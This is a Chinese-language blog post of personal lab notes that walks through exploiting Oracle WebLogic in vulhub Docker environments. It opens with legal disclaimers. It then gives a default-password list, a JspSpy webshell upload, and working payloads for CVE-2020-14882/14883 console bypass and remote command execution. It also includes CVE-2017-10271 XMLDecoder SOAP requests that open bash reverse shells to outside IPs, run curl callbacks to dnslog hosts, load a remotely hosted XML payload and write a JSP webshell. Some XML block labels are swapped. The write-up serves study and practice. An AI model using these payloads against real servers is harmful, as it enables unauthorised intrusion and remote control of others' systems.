简介

Weblogic 是美国 Oracle公司出品的一个 application server,确切的说是一个基于 JAVA EE 架构的中间件, WebLogic是用于开发、集成、部署和管理大型分布式 web 应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和 Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。


本博客所有内容均为作者的个人学习笔记记录,作者也是小白一枚,如果有什么地方写的不对或者对您带来影响欢迎底部留言或者点击右下角的图标与我联系吧

本博客的所有Security 大类下的文章只能作为学习研究使用不可用于非法测试和攻击,请遵循网络安全法,共筑和谐网络

如果喜欢我的文章欢迎各位大佬点击右下角的订阅图标开启浏览器推送吧,这样你只要不清除浏览器缓存就能第一时间收到我的更新通知啦(如果你的网络如果能上Google就用Chrome浏览器订阅,如果不能推荐用微软的Edge浏览器,目前正在寻找解决办法,订阅成功后会有一条提示成功,如果未收到表示网络限制原因未订阅成功)

中华人民共和国网络安全法(2017年6月1日起施行) 第二十二条任何个人和组织不得从事入侵他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动;不得提供从事入侵网络、干扰网络正常功能、窃取网络数据等危害网络安全活动的工具和制作方法;不得为他人实施危害网络安全的活动提供技术支持、广告、推广、支付结算等帮助。 第三十八条任何个人和组织不得窃取或者以其他非法方式获取公民个人信息,不得出售或者非法向他人提供公民个人信息 第六十三条违反本法规定,给他人造成损害的,依法承担民事责任 第六十四条违反本法规定,构成犯罪的,依法追究刑事责任 中华人民共和国刑法(285286) 第二百八十五条违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的处三年以下有期徒刑或者拘役 第二百八十六条违反国家规定,对计算机信息系统功能进行删除、修改、增加、干扰,造成计算机信息系统不能正常运行,后果严重的,处五年以下有期徒刑或者拘役:后果特别严重的,处五年以上有期徒刑。违反国家规定,对计算机信息系统中存储、处理或者传输的数据和应用程序进行删除、修改、增加的操作,后果严重的,依照前款的规定处罚 中华人民共和国刑法修正案7(第九条) 在刑法第二百八十五条中增加两款作为第二款、第三款:“违反国家规定,侵入前款规定以外的计算机信息系统或者采用其他技术手段,获取该计算机信息系统中存储、处理或者传输的数据,或者对该计算机信息系统实施非法控制,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金:情节特别严重的,处三年以上七年以下有期徒刑,并处罚金提供专门用于侵入、非法控制计算机信息系统的程序、或者明知他人实施侵入、非法控制计算机信息系统的违法犯罪行为而为其提供程序、工具,情节严依照前款的规定处罚。


参考资料

Weblogic 漏洞之弱口令、任意文件读取、上传shell

弱口令

环境搭建

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 进入vulhub
cd vulhub-master
# 进入某一个漏洞/环境的目录
cd weblogic/weak_password
# 自动化编译环境
docker-compose build
#执行如下命令启动服务
docker-compose up -d
#重新启动一个容器 我这边是因为我的 7001 5556 安全组没开端口
docker run -dt --name docker_weblogic -p 9091:5556 -p 9090:7001 --rm 7d35c6cd3bcd
# 测试完成后,删除整个环境
docker-compose down -v
#weblogic后台
http://www.security.ada:9090/console/login/LoginForm.jsp

启动及验证

常用弱口令

账户 密码 备注
weblogic Oracle@123 本环境存在该弱口令
system password
weblogic weblogic
guest guest
portaladmin portaladmin
admin security
joe password
mary password
system security
wlcsystem wlcsystem
wlcsystem sipisystem

脚本爆破

使用weblogicweakpwds.py 进行爆破

爆破 weblogic 账户密码

任意文件读取

确认是否存在任意文件读取漏洞-TODO

1
2
# poc 未能返回 环境无任意文件读取漏洞
http://www.security.ada:9090/hello/file.jsp?path=/etc/passwd

文件包含验证失败

破解-TODO

文件包含漏洞未实现,阻塞

后台上传webshell

上传war包

上传大马war包1

上传大马war包2

验证

1
2
3
4
# url
http://www.security.ada:9090/test/JspSpy.jsp
# password 默认密码在 JspSpy.jsp 文件中定义的
ninty

访问大马控制页面

控制台未授权远程命令执行漏洞

描述

Weblogic管理控制台未授权远程命令执行漏洞(CVE-2020-14882 CVE-2020-14883)
Weblogic是 Oracle公司推出的J2EE应用服务器。在2020年10月的更新中, Oracle官方修复了两个长亭科技安全研究员@ voidfyoo提交的安全漏洞,分别是 CVE-2020-14882CVE-2020-14883 CVE-2020-14882 允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883 允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个GET请求在远程 Weblogic服务器上以未授权的任意用户身份执行命令

影响版本

Weblogic 10.3.6.0.0
Weblogic:12.1.3.0.0
Weblogic:12.2.1.3.0
Weblogic:12.2.1.4.0
Weblogic:14.1.1.0.0

启动

1
2
3
4
5
6
7
8
9
10
# 进入vulhub
cd vulhub-master
# 进入某一个漏洞/环境的目录
cd weblogic/CVE-2020-14882
# 自动化编译环境
docker-compose build
#执行如下命令启动服务
docker-compose up -d
#重新启动一个容器 我这边是因为我的 7001 安全组没开端口
docker run -dt --name docker_weblogic_14882 -p 9090:7001 --rm e0958635a01f

启动后页面

漏洞复现

权限绕过

1
2
#HackBar
http://www.security.ada:9090/console/css/%252e%252e%252fconsole.portal

权限绕过

访问后台后,可以发现我们现在是低权限的用户无法安装应用,所以也无法直接执行任意代码 此时需要利用到第二个漏洞cVE-2020-14883
这个漏洞的利用方式有两种:

  • com.tangosol.coherence.mvel2.sh.ShellSession
  • com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext

远程命令执行

  • 这个利用方法只能在Weblogic 12.2.1以上版本利用,因为10.3.6并不存在com.tangosol.coherence.mvel2.sh.ShellSession类。
  • 通过com.tangosol.coherence.mvel2.sh.ShellSession 执行命令

管理员登录查看校验

1
2
#HackBar
http://www.security.ada:9090/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success20210820');")

进入容器,可以发现touch /tmp/success20210820已成功写入

验证文件写入

dnslog外带校验

1
2
#HackBar %20 表示空格
http://www.security.ada:9090/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('curl%201byd87.dnslog.cn');")

dnslog 校验

通杀的方法

com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext是一种更为通杀的方法,最早在CVE-2019-2725被提出,对于所有Weblogic版本均有效。

首先,我们需要构造一个XML文件,并将其保存在Weblogic可以访问到的服务器上,我这里演示放在七牛云上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[touch /tmp/success2]]></value>
</list>
</constructor-arg>
</bean>
</beans>
1
2
# HackBar 语句 XML文件必须要生成在一个可访问的目标地址上
http://www.security.ada:9090/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("https://automation-manage.oss-cn-shanghai.aliyuncs.com/blog/file/rce.xml")

生成 success2 文件


  • 同样也可以用dnslog的方式,写在xml文件中上传至七牛云执行即可 替换curl后的域名即可
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/192.168.1.1/6666 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>
  • 反弹shell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[curl vo3d82.dnslog.cn]]></value>
</list>
</constructor-arg>
</bean>
</beans>

XMLDecoder反序列化漏洞

Weblogic<10.3.6 ‘wls-wsat’ XMLDecoder反序列化漏洞(CVE-2017-10271)

Weblogic的 WLS Security组件对外提供 webservice服务,其中使用了 XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。

影响版本

10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0, 12.2.1.2.0

启动环境

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 进入vulhub
cd vulhub-master
# 进入某一个漏洞/环境的目录
cd weblogic/CVE-2017-10271
# 自动化编译环境
docker-compose build
#执行如下命令启动服务
docker-compose up -d
#重新启动一个容器 我这边是因为我的 7001 5556 安全组没开端口
docker run -dt --name docker_weblogic_201710271 -p 9090:7001 --rm 7d35c6cd3bcd
# 测试完成后,删除整个环境
docker-compose down -v
#weblogic后台
http://www.security.ada:9090/console/login/LoginForm.jsp

启动界面

漏洞复现

反弹shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/47.100.110.84/6666 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

![BurpSuite 反弹](/Users/ada/Library/Application Support/typora-user-images/image-20210822154914037.png)

HackBar 反弹

写入webshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
<void method="println"><string>
<![CDATA[
<% out.print("test"); %>
]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

写入 webshell

工具使用

可通过一些工具的利用来实现框架漏洞的复现

工具利用